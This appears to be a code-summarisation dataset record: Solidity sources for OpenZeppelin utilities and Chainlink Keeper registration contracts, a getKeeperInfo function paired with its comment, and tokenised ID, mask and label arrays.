return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// github.com/OpenZeppelin/[email protected]
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// github.com/OpenZeppelin/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* This library is a version of Open Zeppelin's SafeMath, modified to support
* unsigned 96 bit integers.
*/
library SafeMath96 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint96 a, uint96 b) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint96 a, uint96 b) internal pure returns (uint96) {
require(b <= a, "SafeMath: subtraction overflow");
uint96 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint96 a, uint96 b) internal pure returns (uint96) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint96 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint96 a, uint96 b) internal pure returns (uint96) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint96 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint96 a, uint96 b) internal pure returns (uint96) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface KeeperCompatibleInterface {
/**
* @notice method that is simulated by the keepers to see if any work actually
* needs to be performed. This method does does not actually need to be
* executable, and since it is only ever simulated it can consume lots of gas.
* @dev To ensure that it is never called, you may want to add the
* cannotExecute modifier from KeeperBase to your implementation of this
* method.
* @param checkData specified in the upkeep registration so it is always the
* same for a registered upkeep. This can easilly be broken down into specific
* arguments using `abi.decode`, so multiple upkeeps can be registered on the
* same contract and easily differentiated by the contract.
* @return upkeepNeeded boolean to indicate whether the keeper should call
* performUpkeep or not.
* @return performData bytes that the keeper should call performUpkeep with, if
* upkeep is needed. If you would like to encode data to decode later, try
* `abi.encode`.
*/
function checkUpkeep(
bytes calldata checkData
)
external
returns (
bool upkeepNeeded,
bytes memory performData
);
/**
* @notice method that is actually executed by the keepers, via the registry.
* The data returned by the checkUpkeep simulation will be passed into
* this method to actually be executed.
* @dev The input to this method should not be trusted, and the caller of the
* method should not even be restricted to any single registry. Anyone should
* be able call it, and the input should be validated, there is no guarantee
* that the data passed in is the performData returned from checkUpkeep. This
* could happen due to malicious keepers, racing keepers, or simply a state
* change while the performUpkeep transaction is waiting for confirmation.
* Always validate the data passed in.
* @param performData is the data which was passed back from the checkData
* simulation. If it is encoded, it can easily be decoded into other types by
* calling `abi.decode`. This data should not be trusted, and should be
* validated against the contract's current state.
*/
function performUpkeep(
bytes calldata performData
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface KeeperRegistryBaseInterface {
function registerUpkeep(
address target,
uint32 gasLimit,
address admin,
bytes calldata checkData
) external returns (
uint256 id
);
function performUpkeep(
uint256 id,
bytes calldata performData
) external returns (
bool success
);
function cancelUpkeep(
uint256 id
) external;
function addFunds(
uint256 id,
uint96 amount
) external;
function getUpkeep(uint256 id)
external view returns (
address target,
uint32 executeGas,
bytes memory checkData,
uint96 balance,
address lastKeeper,
address admin,
uint64 maxValidBlocknumber
);
function getUpkeepCount()
external view returns (uint256);
function getCanceledUpkeepList()
external view returns (uint256[] memory);
function getKeeperList()
external view returns (address[] memory);
function getKeeperInfo(address query)
external view returns (
address payee,
bool active,
uint96 balance
);
function getConfig()
external view returns (
uint32 paymentPremiumPPB,
uint24 checkFrequencyBlocks,
uint32 checkGasLimit,
uint24 stalenessSeconds,
uint16 gasCeilingMultiplier,
int256 fallbackGasPrice,
int256 fallbackLinkPrice
);
}
/**
* @dev The view methods are not actually marked as view in the implementation
* but we want them to be easily queried off-chain. Solidity will not compile
* if we actually inherrit from this interface, so we document it here.
*/
interface KeeperRegistryInterface is KeeperRegistryBaseInterface {
function checkUpkeep(
uint256 upkeepId,
address from
)
external
view
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
int256 gasWei,
int256 linkEth
);
}
interface KeeperRegistryExecutableInterface is KeeperRegistryBaseInterface {
function checkUpkeep(
uint256 upkeepId,
address from
)
external
returns (
bytes memory performData,
uint256 maxLinkPayment,
uint256 gasLimit,
int256 gasWei,
int256 linkEth
);
}
// SPDX-License-Identifier: MIT
// github.com/OpenZeppelin/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./vendor/Owned.sol";
import "./KeeperRegistryInterface.sol";
/**
* @notice Contract to accept requests for upkeep registrations
* @dev There are 2 registration workflows in this contract
* Flow 1. auto approve OFF / manual registration - UI calls `register` function on this contract, this contract owner at a later time then manually
* calls `approve` to register upkeep and emit events to inform UI and others interested.
* Flow 2. auto approve ON / real time registration - UI calls `register` function as before, which calls the `registerUpkeep` function directly on
* keeper registry and then emits approved event to finish the flow automatically without manual intervention.
* The idea is to have same interface(functions,events) for UI or anyone using this contract irrespective of auto approve being enabled or not.
* they can just listen to `RegistrationRequested` & `RegistrationApproved` events and know the status on registrations.
*/
contract UpkeepRegistrationRequests is Owned {
bytes4 private constant REGISTER_REQUEST_SELECTOR = this.register.selector;
uint256 private s_minLINKJuels;
address public immutable LINK_ADDRESS;
struct AutoApprovedConfig {
bool enabled;
uint16 allowedPerWindow;
uint32 windowSizeInBlocks;
uint64 windowStart;
uint16 approvedInCurrentWindow;
}
AutoApprovedConfig private s_config;
KeeperRegistryBaseInterface private s_keeperRegistry;
event MinLINKChanged(uint256 from, uint256 to);
event RegistrationRequested(
bytes32 indexed hash,
string name,
bytes encryptedEmail,
address indexed upkeepContract,
uint32 gasLimit,
address adminAddress,
bytes checkData,
uint8 indexed source
);
event RegistrationApproved(
bytes32 indexed hash,
string displayName,
uint256 indexed upkeepId
);
constructor(
address LINKAddress,
uint256 minimumLINKJuels
)
{
LINK_ADDRESS = LINKAddress;
s_minLINKJuels = minimumLINKJuels;
}
//EXTERNAL
/**
* @notice register can only be called through transferAndCall on LINK contract
* @param name name of the upkeep to be registered
* @param encryptedEmail Amount of LINK sent (specified in Juels)
* @param upkeepContract address to peform upkeep on
* @param gasLimit amount of gas to provide the target contract when
* performing upkeep
* @param adminAddress address to cancel upkeep and withdraw remaining funds
* @param checkData data passed to the contract when checking for upkeep
* @param source application sending this request
*/
function register(
string memory name,
bytes calldata encryptedEmail,
address upkeepContract,
uint32 gasLimit,
address adminAddress,
bytes calldata checkData,
uint8 source
)
external
onlyLINK()
{
bytes32 hash = keccak256(msg.data);
emit RegistrationRequested(
hash,
name,
encryptedEmail,
upkeepContract,
gasLimit,
adminAddress,
checkData,
source
);
AutoApprovedConfig memory config = s_config;
// if auto approve is true send registration request to the Keeper Registry contract
if (config.enabled) {
_resetWindowIfRequired(config);
if (config.approvedInCurrentWindow < config.allowedPerWindow) {
config.approvedInCurrentWindow++;
s_config = config;
_approve(
name,
upkeepContract,
gasLimit,
adminAddress,
checkData,
hash
);
}
}
}
/**
* @dev register upkeep on KeeperRegistry contract and emit RegistrationApproved event
*/
function approve(
string memory name,
address upkeepContract,
uint32 gasLimit,
address adminAddress,
bytes calldata checkData,
bytes32 hash
)
external
onlyOwner()
{
_approve(
name,
upkeepContract,
gasLimit,
adminAddress,
checkData,
hash
);
}
/**
* @notice owner calls this function to set minimum LINK required to send registration request
* @param minimumLINKJuels minimum LINK required to send registration request
*/
function setMinLINKJuels(
uint256 minimumLINKJuels
)
external
onlyOwner()
{
emit MinLINKChanged(s_minLINKJuels, minimumLINKJuels);
s_minLINKJuels = minimumLINKJuels;
}
/**
* @notice read the minimum LINK required to send registration request
*/
function getMinLINKJuels()
external
view
returns (
uint256
)
{
return s_minLINKJuels;
}
/**
* @notice owner calls this function to set if registration requests should be sent directly to the Keeper Registry
* @param enabled setting for autoapprove registrations
* @param windowSizeInBlocks window size defined in number of blocks
* @param allowedPerWindow number of registrations that can be auto approved in above window
* @param keeperRegistry new keeper registry address
*/
function setRegistrationConfig(
bool enabled,
uint32 windowSizeInBlocks,
uint16 allowedPerWindow,
address keeperRegistry
)
external
onlyOwner()
{
s_config = AutoApprovedConfig({
enabled: enabled,
allowedPerWindow: allowedPerWindow,
windowSizeInBlocks: windowSizeInBlocks,
windowStart: 0,
approvedInCurrentWindow: 0
});
s_keeperRegistry = KeeperRegistryBaseInterface(keeperRegistry);
}
/**
* @notice read the current registration configuration
*/
function getRegistrationConfig()
external
view
returns (
bool enabled,
uint32 windowSizeInBlocks,
uint16 allowedPerWindow,
address keeperRegistry,
uint64 windowStart,
uint16 approvedInCurrentWindow
)
{
AutoApprovedConfig memory config = s_config;
return (
config.enabled,
config.windowSizeInBlocks,
config.allowedPerWindow,
address(s_keeperRegistry),
config.windowStart,
config.approvedInCurrentWindow
);
}
/**
* @notice Called when LINK is sent to the contract via `transferAndCall`
* @param amount Amount of LINK sent (specified in Juels)
* @param data Payload of the transaction
*/
function onTokenTransfer(
address, /* sender */
uint256 amount,
bytes calldata data
)
external
onlyLINK()
permittedFunctionsForLINK(data)
{
require(amount >= s_minLINKJuels, "Insufficient payment");
(bool success, ) = address(this).delegatecall(data); // calls register
require(success, "Unable to create request");
}
//PRIVATE
/**
* @dev reset auto approve window if passed end of current window
*/
function _resetWindowIfRequired(
AutoApprovedConfig memory config
)
private
{
uint64 blocksPassed = uint64(block.number - config.windowStart);
if (blocksPassed >= config.windowSizeInBlocks) {
config.windowStart = uint64(block.number);
config.approvedInCurrentWindow = 0;
s_config = config;
}
}
/**
* @dev register upkeep on KeeperRegistry contract and emit RegistrationApproved event
*/
function _approve(
string memory name,
address upkeepContract,
uint32 gasLimit,
address adminAddress,
bytes calldata checkData,
bytes32 hash
)
private
{
//call register on keeper Registry
uint256 upkeepId =
s_keeperRegistry.registerUpkeep(
upkeepContract,
gasLimit,
adminAddress,
checkData
);
// emit approve event
emit RegistrationApproved(hash, name, upkeepId);
}
//MODIFIERS
/**
* @dev Reverts if not sent from the LINK token
*/
modifier onlyLINK() {
require(msg.sender == LINK_ADDRESS, "Must use LINK token");
_;
}
/**
* @dev Reverts if the given data does not begin with the `register` function selector
* @param _data The data payload of the request
*/
modifier permittedFunctionsForLINK(
bytes memory _data
)
{
bytes4 funcSelector;
assembly {
// solhint-disable-next-line avoid-low-level-calls
funcSelector := mload(add(_data, 32))
}
require(
funcSelector == REGISTER_REQUEST_SELECTOR,
"Must use whitelisted functions"
);
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import './KeeperBase.sol';
import './KeeperCompatibleInterface.sol';
abstract contract KeeperCompatible is KeeperBase, KeeperCompatibleInterface {}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../KeeperCompatible.sol';
contract UpkeepReverter is KeeperCompatible {
function checkUpkeep(bytes calldata data)
public
view
override
cannotExecute()
returns (
bool callable,
bytes calldata executedata
)
{
require(false, "!working");
return (true, data);
}
function performUpkeep(
bytes calldata
)
external
pure
override
{
require(false, "!working");
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../KeeperCompatible.sol';
contract UpkeepMock is KeeperCompatible {
bool public canCheck;
bool public canPerform;
event UpkeepPerformedWith(bytes upkeepData);
function setCanCheck(bool value)
public
{
canCheck = value;
}
function setCanPerform(bool value)
public
{
canPerform = value;
}
function checkUpkeep(bytes calldata data)
external
override
cannotExecute()
returns (
bool callable,
bytes calldata executedata
)
{
bool couldCheck = canCheck;
setCanCheck(false); // test that state modifcations don't stick
return (couldCheck, data);
}
function performUpkeep(
bytes calldata data
)
external
override
{
require(canPerform, "Cannot perform");
setCanPerform(false);
emit UpkeepPerformedWith(data);
}
}
|
* @notice read the current info about any keeper address/
|
function getKeeperInfo(
address query
)
external
view
override
returns (
address payee,
bool active,
uint96 balance
)
{
KeeperInfo memory keeper = s_keeperInfo[query];
return (keeper.payee, keeper.active, keeper.balance);
}
| 5,993,638 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
855,
326,
783,
1123,
2973,
1281,
417,
9868,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
16566,
9868,
966,
12,
203,
565,
1758,
843,
203,
225,
262,
203,
565,
3903,
203,
565,
1476,
203,
565,
3849,
203,
565,
1135,
261,
203,
1377,
1758,
8843,
1340,
16,
203,
1377,
1426,
2695,
16,
203,
1377,
2254,
10525,
11013,
203,
565,
262,
203,
225,
288,
203,
565,
1475,
9868,
966,
3778,
417,
9868,
273,
272,
67,
79,
9868,
966,
63,
2271,
15533,
203,
565,
327,
261,
79,
9868,
18,
10239,
1340,
16,
417,
9868,
18,
3535,
16,
417,
9868,
18,
12296,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
